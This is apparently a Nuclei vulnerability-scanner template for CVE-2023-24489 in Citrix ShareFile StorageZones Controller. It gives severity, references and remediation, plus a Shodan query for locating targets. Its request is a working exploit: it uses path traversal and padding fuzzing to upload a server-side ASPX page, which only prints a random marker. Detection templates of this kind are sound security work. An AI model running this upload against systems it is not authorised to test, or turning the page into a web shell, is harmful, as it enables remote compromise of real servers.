id: CVE-2023-24489

info:
  name: Citrix ShareFile StorageZones Controller - Unauthenticated Remote Code Execution
  author: DhiyaneshDK,dwisiswant0
  severity: critical
  description: |
    A vulnerability has been discovered in the customer-managed ShareFile storage zones controller which, if exploited, could allow an unauthenticated attacker to remotely compromise the customer-managed ShareFile storage zones controller.
  remediation: |
    Apply the necessary security patches or updates provided by Citrix to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24489
    - https://blog.assetnote.io/2023/07/04/citrix-sharefile-rce/
    - https://support.citrix.com/article/CTX559517/sharefile-storagezones-controller-security-update-for-cve202324489
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-24489
    epss-score: 0.9673
    epss-percentile: 0.99506
    cpe: cpe:2.3:a:citrix:sharefile_storage_zones_controller:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 256
    vendor: citrix
    product: sharefile_storage_zones_controller
    shodan-query: title:"ShareFile Storage Server"
  tags: cve,cve2023,sharefile,rce,intrusive,fileupload,fuzz,kev
variables:
  fileName: '{{rand_base(8)}}'

http:
  - raw:
      - |
        POST /documentum/upload.aspx?parentid={{url_encode(padding)}}&raw=1&unzip=on&uploadid={{fileName}}\..\..\..\cifs&filename={{fileName}}.aspx HTTP/1.1
        Host: {{Hostname}}

        <%@ Page Language="C#" Debug="true" Trace="false" %>
        <script Language="c#" runat="server">
        void Page_Load(object sender, EventArgs e)
        {
            Response.Write("{{randstr}}");
        }
        </script>

    payloads:
      padding: helpers/payloads/citrix_paddings.txt
    threads: 30
    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'body == "ERROR: The method or operation is not implemented."'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'BaseURL+ "/cifs/" + fileName + ".aspx"'